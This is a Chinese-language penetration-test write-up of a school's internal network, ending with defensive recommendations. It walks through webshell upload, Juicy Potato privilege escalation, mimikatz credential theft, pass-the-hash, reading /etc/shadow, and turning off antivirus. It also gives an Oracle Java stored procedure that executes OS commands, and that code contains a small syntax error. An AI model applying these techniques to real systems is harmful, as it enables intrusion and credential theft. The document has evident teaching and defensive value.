针对学校内网的一次渗透测试
字数 1293 2025-08-20 18:17:41
学校内网渗透测试技术文档
1. 信息收集阶段
1.1 系统发现
- 发现学校同时运行新旧系统,老系统未下线
- 通过全面搜索确认老系统存在安全漏洞
1.2 漏洞发现
- 发现老系统存在任意文件上传漏洞
- 无任何过滤机制
- 可直接上传一句话木马
2. 初始入侵
2.1 WebShell连接问题
- 蚁剑和菜刀连接返回不同路径
- 蚁剑连接后无法上传文件
- 菜刀连接可上传文件
- 执行命令后IP被封禁,疑似存在WAF
2.2 权限提升
- 上传MSF的aspx木马获取meterpreter会话
- 使用windows-exploit-suggest检测未打补丁
- 发现MS16-075漏洞
- 使用Juicy Potato提权
- 需修改CLSID(参考:https://github.com/ohpe/juicy-potato/tree/master/CLSID)
- 建议使用bind_tcp正向连接payload
3. 横向移动
3.1 密码获取
- 使用MSF的mimikatz模块获取密码
- 发现域环境异常(原有域消失,无法找到域控)
3.2 哈希传递攻击
- 对445端口开放但3389关闭的机器
- 优先使用psexec模块进行哈希传递
- 可获取SYSTEM权限
- 适用于无法获取明文密码的情况
4. 新系统渗透
4.1 任意文件下载漏洞
- 发现root用户运行的服务存在任意文件下载
- 尝试读取敏感文件:
- /etc/shadow(爆破root密码失败)
- /root/.bash_history(获取操作历史记录)
4.2 Oracle数据库利用
- 发现多台机器使用默认SID的Oracle数据库
- 爆破发现system用户密码为默认值"manager"
- Oracle数据库system用户可执行系统命令
5. 绕过安全防护
5.1 火绒行为检测绕过
- 直接执行命令受限(如net user无回显)
- 发现可通过Navicat中的sqlplus连接执行命令
- 创建Java存储过程执行系统命令:
create or replace and compile Java Source named "OSCommand" as
import java.io.*;
import java.lang.*;
public class OSCommand{
public static String Run(String Command){
Runtime rt = Runtime.getRuntime();
int rc = -1;
try{
Process p = rt.exec( Command );
int bufSize = 32000;
int len = 0;
byte buffer[] = new byte[bufSize];
String s = null;
BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
len = bis.read( buffer, 0, bufSize );
rc = p.waitFor();
if ( len != -1 ){
s = new String( buffer, 0, len );
return( s );
}
return( rc+"" );
}
catch (Exception e){
e.printStackTrace();
return( "-1\ncommand[" + Command + "]\n" + e.getMessage" );
}
}
}
/
5.2 权限提升技巧
- 直接开启3389端口未被拦截
- 激活guest用户并加入管理员组未被拦截
- 无法添加新用户但可提升现有用户权限
- 通过已知用户密码将其加入管理员组
5.3 最终权限获取
- 直接关闭火绒防护获取完整shell
- 使用在线NTLM破解服务:https://www.objectif-securite.ch/ophcrack
- 发现服务器保存的Xftp密码
- 使用星号密码查看器工具获取保存的密码
6. 总结与建议
6.1 发现的安全问题
- 老旧系统未下线且存在已知漏洞
- 系统补丁更新不及时(MS16-075)
- Oracle数据库使用默认配置和弱密码
- 密码重用现象严重
- 敏感信息(如Xftp密码)明文保存
6.2 防御建议
- 及时下线不再使用的老旧系统
- 定期更新系统补丁
- 修改数据库默认配置和密码
- 实施最小权限原则
- 对敏感信息进行加密存储
- 加强安全监控和异常行为检测
6.3 渗透测试技巧总结
- 全面信息收集是关键
- 新旧系统都要检查
- 横向移动时优先使用哈希传递
- 遇到防护时尝试多种绕过方法
- 注意利用系统历史记录和配置文件中的信息
- 在线破解服务可作为辅助工具